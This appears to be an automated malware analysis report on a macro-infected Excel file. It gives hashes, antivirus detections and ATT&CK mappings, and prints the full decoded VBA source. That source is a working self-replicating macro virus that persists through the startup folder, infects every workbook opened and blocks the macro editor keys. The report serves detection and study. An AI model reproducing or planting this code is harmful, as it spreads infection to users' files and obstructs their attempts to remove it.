Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8c333d45f3720c5a…

MALICIOUS

Office (OLE)

96.0 KB Created: 2014-01-16 01:22:42 Authoring application: Microsoft Excel First seen: 2015-03-15
MD5: fa073dc139392c193e62e691ae213888 SHA-1: 2e6edb90d60a95417ef95897820602df16e8767c SHA-256: 8c333d45f3720c5ad2a0539e470c5e4edf23b56d191c9b4ecb33695b1c1a0992
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file is an Excel document containing VBA macros, specifically an Auto_Open macro. This macro attempts to copy itself to the user's startup folder as 'StartUp.xls' to establish persistence. The ClamAV detections indicate it is a known malicious variant, likely a downloader or dropper.

Heuristics 3

  • ClamAV: Ppt.Malware.Laroux-10036124-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Ppt.Malware.Laroux-10036124-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2373 bytes
SHA-256: f1a5001575d849b292b89f2d980658a56798a5ff0426b17354e00dcca31bf60f
Detection
ClamAV: Xls.Trojan.Escape-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "StartUp"
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub

Sub escape()
    On Error Resume Next
    Application.OnSheetActivate = "StartUp.xls!back"
    Application.OnKey "%{F11}"
    Application.OnKey "%{F8}"
    Application.SendKeys "%{F11}"
    Application.SendKeys "%{F8}"
    For Each book In Workbooks
        Application.DisplayAlerts = False
        If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
    Next
    For Each book In Workbooks
        If book.Name = "StartUp.xls" Then
        book.Close
    End If
    Next
End Sub

Sub back()
  On Error Resume Next
  Application.OnKey "%{F8}", "StartUp.xls!escape"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!ycop"
  Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

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